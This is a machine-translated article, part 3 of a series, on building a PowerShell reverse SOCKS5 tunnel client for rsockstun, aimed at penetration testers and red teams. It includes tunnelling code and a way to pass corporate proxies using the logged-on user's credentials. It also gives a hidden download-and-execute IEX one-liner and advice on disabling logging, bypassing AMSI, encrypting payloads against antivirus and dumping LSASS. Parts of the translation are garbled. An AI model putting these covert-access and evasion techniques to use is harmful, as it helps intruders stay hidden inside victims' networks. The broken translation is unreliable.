我们在powershell上编写Reverse socks5代理,第3部分

研发故事分为3部分。 第3部分是实用的。
山毛榉有很多-甚至更多的好处

循环中的前几篇文章可以在这里这里找到=)

战斗检查


现在让我们在实践中测试脚本的操作。 为此,请尝试将反向隧道从虚拟机(Windows 7 .net 4.7)扔到Digital Ocean上的Linux VPS,然后使用它,我们将回到Win7。 在这种情况下,我们模拟Windows 7是客户的计算机,Linux VPS是我们的服务器的情况。

在VPS(在我们的示例中为Ubuntu 18.04)上,我们安装并配置RsocksTun的服务器部分:

  • 设置golang:apt install golang
  • 从gita获取rsockstun的来源:
    git clone github.com/mis-team/rsockstun.git / opt / rstun
  • 安装依赖项:
    去获取github.com/hashicorp/yamux
    去获取github.com/armon/go-socks5
    去获取github.com/ThomsonReutersEikon/go-ntlm/ntlm
  • 按照手册编译:cd / opt / rstun; 去建造
  • 生成SSL证书:
    openssl req -new -x509 -keyout server.key -out server.crt -days 365 -nodes
  • 我们开始服务器部分:



  • 我们在客户端上启动脚本,向其指示要连接的服务器,端口和密码:



  • 使用Socks5服务器的提升端口访问mail.ru



从屏幕截图中可以看到,我们的脚本有效。 我们很高兴,在精神上为自己建立了一座纪念碑,并决定一切都完美。 但是...

错误处理


但并非一切都像我们想要的那样顺利...

在脚本运行期间,发现了一个令人不快的时刻:如果脚本通过与服务器的不太快速的连接工作,则在传输大数据时可能会出现下图所示的错误



研究了此错误之后,我们看到当我们收到一个保持活动消息(数据仍在传输到服务器时)时,我们尝试同时在套接字上写一个对保持活动的答复,这会导致错误。

要纠正这种情况,我们需要等到数据传输完成后,再向keepalive发送响应。 但是这里可能会出现另一个问题:如果在发送12字节报头和发送数据之间的瞬间出现了保持活动消息,那么我们将破坏ymx数据包的结构。 因此,一个更正确的解决方案是在yamuxScript中转移所有用于发送数据的功能,该功能将处理事件以进行顺序发送,并且不会出现这种情况。

同时,为了指示yamuxScript发送keepalive响应,我们可以使用共享的ArrayList StopFlag [0]-不使用零索引,因为 yamux流的编号从1开始。在此索引中,我们将在keepalive消息中收到的ping值传递给yamuxScript。 默认情况下,该值为-1,表示不需要传输。 YamuxScript将检查此值,如果它是0(第一个keepalive ping = 0)或更大,则将传递的值发送到keepalive响应:

if ($StopFlag[0] -ge 0){ #got yamux keepalive. we have to reply $outbuf = [byte[]](0x00,0x02,0x00,0x02,0x00,0x00,0x00,0x00) + [bitconverter]::getbytes([int32]$StopFlag[0])[3..0] $state.tcpstream.Write($outbuf,0,12) $state.tcpstream.flush() $StopFlag[0] = -1 } 

我们还应该排除在程序的主线程中发送对YMX SYN标志的响应。

为此,我们还必须在yamuxScript中传输此功能,但是由于yamux服务器不需要向YMX SYN发送响应并立即开始发送数据,因此我们仅关闭了发送该包的过程:

 #$outbuf = [byte[]](0x00,0x01,0x00,0x02,$ymxstream[3],$ymxstream[2],$ymxstream[1],$ymxstream[0],0x00,0x00,0x00,0x00) #$tcpstream.Write($outbuf,0,12) 

在那之后,大型数据的传输工作正常。

代理支持


现在,让我们考虑如何使我们的客户端通过代理服务器工作。

让我们从基础开始。 从理论上讲,http-proxy(即在大多数公司网络中都可以使用http代理)旨在与HTTP协议配合使用,并且看起来http并不像我们的协议那样。 但实际上,除了http之外,还有https,您的浏览器可以通过常规http完美连接到https站点-对吗?

其原因是特殊的代理服务器操作模式-CONNECT模式。 因此,如果浏览器要通过代理服务器通过https连接到gmail服务器,则会向代理服务器发送CONNECT请求,该请求指示主机和目标端口。

 CONNECT gmail.com:443 HTTP/1.1 Host: gmail.com:443 Proxy-Connection: Keep-Alive 

成功连接到gmail服务器后,代理返回200 OK响应。

 HTTP/1.1 200 OK 

之后,来自浏览器的所有数据将直接传输到服务器,反之亦然。 简而言之,代理将两个网络套接字直接相互连接-浏览器套接字和gmail服务器套接字。 之后,浏览器开始与gmail服务器建立ssl连接并直接使用它。

将以上内容传递给我们的客户端,我们首先需要与代理服务器建立连接,发送一个指示CONNECT方法和yamux服务器地址的http数据包,等待代码为200的响应,然后继续建立ssl连接。

原则上,没有什么特别复杂的。 这是在golang客户端rsockstun中实现通过代理服务器的连接机制的方式。

当代理服务器连接到自身时需要ntlm或kerberos授权时,主要的困难就开始了。

在这种情况下,代理服务器返回407代码和ntlm http标头作为base64字符串

 HTTP/1.1 407 Proxy Authentication Required Proxy-Authenticate: NTLM TlRMTVNTUAACAAAAAAAAADgAAABVgphianXk2614u2AAAAAAAAAAAKIAogA4AAAABQEoCgAAAA8CAA4AUgBFAFUAVABFAFIAUwABABwAVQBLAEIAUAAtAEMAQgBUAFIATQBGAEUAMAA2AAQAFgBSAGUAdQB0AGUAcgBzAC4AbgBlAHQAAwA0AHUAawBiAHAALQBjAGIAdAByAG0AZgBlADAANgAuAFIAZQB1AHQAZQByAHMALgBuAGUAdAAFABYAUgBlAHUAdABlAHIAcwAuAG4AZQB0AAAAAAA= Date: Tue, 28 May 2019 14:06:15 GMT Content-Length: 0 

为了获得成功的授权,我们必须解码此行,并从中删除参数(例如ntlm-challenge,域名)。 然后,使用此数据以及用户名及其ntlm哈希,我们需要生成一个ntlm响应,将其编码回base64,并将其发送回代理服务器。

 CONNECT mail.com:443 HTTP/1.1 Host: mail.com:443 Proxy-Authorization: NTLM TlRMTVNTUAADAAAAGAAYAHoAAAA6AToBkgAAAAwADABYAAAACAAIAGQAAAAOAA4AbAAAAAAAAADMAQAABYKIIgYBsR0AAAAPnHZSXCGeU7zoq64cDFENAGQAbwBtAGEAaQBuAHUAcwBlAHIAVQBTAEUAUgAtAFAAQwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABuxncy1yDsSypAauO/N1TfAQEAAAAAAAAXKmWDXhXVAag3UE8RsOGCAAAAAAIADgBSAEUAVQBUAEUAUgBTAAEAHABVAEsAQgBQAC0AQwBCAFQAUgBNAEYARQAwADYABAAWAFIAZQB1AHQAZQByAHMALgBuAGUAdAADADQAdQBrAGIAcAAtAGMAYgB0AHIAbQBmAGUAMAA2AC4AUgBlAHUAdABlAHIAcwAuAG4AZQB0AAUAFgBSAGUAdQB0AGUAcgBzAC4AbgBlAHQACAAwADAAAAAAAAAAAAAAAAAwAAA2+UpsHCJmpIGttOj1VN+5JbP1D1HvJsbPKpKyd63trQoAEAAAAAAAAAAAAAAAAAAAAAAACQAcAEgAVABUAFAALwAxADIANwAuADAALgAwAC4AMQAAAAAAAAAAAA== User-Agent: curl/7.64.1 Accept: */* Proxy-Connection: Keep-Alive + UpsHCJmpIGttOj1VN + 5JbP1D1HvJsbPKpKyd63trQoAEAAAAAAAAAAAAAAAAAAAAAAACQAcAEgAVABUAFAALwAxADIANwAuADAALgAwAC4AMQAAAAAAAAAAAA == CONNECT mail.com:443 HTTP/1.1 Host: mail.com:443 Proxy-Authorization: NTLM TlRMTVNTUAADAAAAGAAYAHoAAAA6AToBkgAAAAwADABYAAAACAAIAGQAAAAOAA4AbAAAAAAAAADMAQAABYKIIgYBsR0AAAAPnHZSXCGeU7zoq64cDFENAGQAbwBtAGEAaQBuAHUAcwBlAHIAVQBTAEUAUgAtAFAAQwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABuxncy1yDsSypAauO/N1TfAQEAAAAAAAAXKmWDXhXVAag3UE8RsOGCAAAAAAIADgBSAEUAVQBUAEUAUgBTAAEAHABVAEsAQgBQAC0AQwBCAFQAUgBNAEYARQAwADYABAAWAFIAZQB1AHQAZQByAHMALgBuAGUAdAADADQAdQBrAGIAcAAtAGMAYgB0AHIAbQBmAGUAMAA2AC4AUgBlAHUAdABlAHIAcwAuAG4AZQB0AAUAFgBSAGUAdQB0AGUAcgBzAC4AbgBlAHQACAAwADAAAAAAAAAAAAAAAAAwAAA2+UpsHCJmpIGttOj1VN+5JbP1D1HvJsbPKpKyd63trQoAEAAAAAAAAAAAAAAAAAAAAAAACQAcAEgAVABUAFAALwAxADIANwAuADAALgAwAC4AMQAAAAAAAAAAAA== User-Agent: curl/7.64.1 Accept: */* Proxy-Connection: Keep-Alive 

但这还不错。 事实是,运行脚本时,我们既不知道当前用户的名称,也不知道他的ntlm密码哈希。 因此,为了在代理服务器上进行授权,我们需要从其他地方找出用户名/密码。

从理论上讲,我们可以在脚本中实现此功能(从在GoLang客户端中手动设置身份验证参数开始,到在mimikatz中以使用LSASS进程内存转储结束),但是随后我们的脚本将变得难以置信的大小和复杂性,尤其是这些主题超出了本文的范围。

我们认为并决定我们走另一条路...

代替手动进行授权,我们将使用内置功能来处理HTTPWebRequest类的代理服务器。 但是在这种情况下,我们将不得不更改RsocksTun服务器的代码-毕竟,当它接收到来自客户端的请求时,它只希望带有密码的字符串,并且它将接收完整的HTTP请求。 原则上,修改rsoskstun的服务器端并不那么困难。 只需确定我们将在http请求的哪一部分中传输密码(例如,它将是XAuth http头)并实现处理http请求,使用密码检查我们的标头并发送返回http响应的功能(200 OK)。 我们将此功能添加到了RSocksTun项目的单独分支中。

修改了RSocksTun(服务器和客户端)的Golang部分后,我们将开始在脚本中添加使用代理服务器的功能。 通过代理连接到Web服务器的HttpWebRequest类的最简单代码如下所示:

 [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}; $request = [System.Net.HttpWebRequest]::Create("https://gmail.com:443") $request.Method = "GET" $request.Headers.Add("Xauth","password") $proxy = new-object system.net.webproxy('http://127.0.0.1:8080'); $proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials $request.Proxy = $proxy try {$serverResponse = $request.GetResponse()} catch {write-host "Can not connect"; exit} 

在这种情况下,我们创建HttpWebRequest类的实例,设置Proxy和Credentials属性,添加自定义XAuth http-header。 因此,我们对Google服务器的请求将通过代理服务器127.0.0.1:8080。 如果代理请求授权,则Windows本身将“提取”当前用户的信用并插入相应的http标头。

无需手动指定代理服务器,我们可以使用代理服务器的系统设置:

 $proxy = [System.Net.WebRequest]::GetSystemWebProxy() 

因此,在我们通过代理服务器连接到rsockstun服务器并收到代码为200的HTTP响应之后,我们需要做一些技巧,即从HTTPWebRequest类中获取一个用于读取/写入的流对象,例如$ tcpConnection.getStream。 ()。 我们通过.Net反射检查机制来完成此操作(对于那些想更详细地了解该机制的人,请共享链接 )。 这使我们可以访问基础类的方法和属性:

 #--------------------------------------------------------------------------------- # Reflection inspection to retrieve and reuse the underlying networkStream instance $responseStream = $serverResponse.GetResponseStream() $BindingFlags= [Reflection.BindingFlags] "NonPublic,Instance" $rsType = $responseStream.GetType() $connectionProperty = $rsType.GetProperty("Connection", $BindingFlags) $connection = $connectionProperty.GetValue($responseStream, $null) $connectionType = $connection.GetType() $networkStreamProperty = $connectionType.GetProperty("NetworkStream", $BindingFlags) $tcpStream = $networkStreamProperty.GetValue($connection, $null) 

因此,我们获得了相同的套接字流,该套接字流通过代理服务器连接到yamux服务器,并可以执行读/写操作。

我们需要考虑的另一点是监视连接状态的机制。 由于我们通过代理服务器和HTTPWebRequest类进行工作,因此我们没有$ tcpConnection.Connected属性,我们需要以某种方式监视连接状态。 我们可以通过一个单独的$ connected标志来做到这一点,在从代理服务器接收到200个代码后将其设置为$ true,并在从套接字流读取时发生异常时将其重置为$ false:

 try { $num = $tcpStream.Read($tmpbuffer,0,12) } catch {$connected=$false; break;} if ($num -eq 0 ) {$connected=$false; break;} 

否则,我们的代码将保持不变。

内联启动


通常,所有理智的人都从PS1文件运行类似的脚本,但是在pentest / redtime的过程中有时(实际上-几乎总是)有时需要从命令行运行模块而不向磁盘写入任何内容,以免留下任何痕迹。 此外,powershell允许您通过命令行执行此操作:

 powershell.exe –c <powershell code> powershell.exe –e <base64 powershell code> 

但是,就启动和执行命令的保密性而言,不应真正放松。 因为首先,所有powershell代码都使用标准Windows工具记录在相应的事件日志中(Windows PowerShell和Microsoft-Windows-PowerShell / Operational),其次,所有在powershell中执行的代码都通过AMSI机制进行记录(反恶意软件扫描界面)。 另一件事是,这两种机制的成本都很高,且操作简单。 禁用杂志和绕过AMSI是一个单独的讨论主题,我们将在以后的文章中或在我们的频道中进行介绍。 但是,现在有些其他的事情了。

事实是,我们的脚本已经增长到了令人印象深刻的大小,而且很显然它无法放入任何命令行中(Windows中的cmd限制为8191个字符)。 因此,我们需要提出一种无需将脚本写入磁盘即可运行脚本的方法。 在这里,恶意软件使用的标准方法已经为我们提供了近15年的帮助。 简而言之,规则很简单-下载并运行。 最主要的是不要将其混淆=)
下载和启动命令如下所示:

 powershell.exe –w hidden -c "IEX ((new-object net.webclient).downloadstring('http://url.com/script.ps1'))" 

您可以在HarmJ0y'I 's git上找到更多的内联启动选项:

当然,在下载之前,您需要注意禁用日志以及绕过或禁用AMSI。 脚本本身必须在下载之前进行加密,因为 在下载过程中,您的(或不是您的=)防病毒软件自然会对其进行检查和检查,并且在启动之前,它会被相应地解密。 如何执行-您,读者应该已经自己想出了。 这超出了本主题的范围。 但是我们知道在这方面很酷的专家-全能的Google。 网络上有很多加密和解密的例子,还有绕过AMSI的例子。

结论总结


在此过程中,我们向读者介绍了“反向隧道”技术及其在渗透测试中的使用,展示了此类隧道的几个示例,并讨论了其使用的优缺点。

我们还设法为RsocksTun服务器创建了一个Powershell客户端,它具有以下功能:

  • SSL连接
  • 服务器上的授权;
  • 与yamux-server合作,支持keepalive ping;
  • 多线程操作模式;
  • 通过具有授权的代理服务器支持工作。

您可以在我们的github上的相应分支中找到所有rsockstun代码(golang和powershell) master分支旨在不使用代理服务器而工作,而via_proxy分支旨在通过代理和HTTP而工作。

我们很高兴听到您对改进代码和开发在实践中的适用性的意见和建议。

这样就完成了我们反向隧道文章的循环。 我们真的希望您有兴趣阅读我们,并且该信息对您有所帮助。

Source: https://habr.com/ru/post/zh-CN454254/


All Articles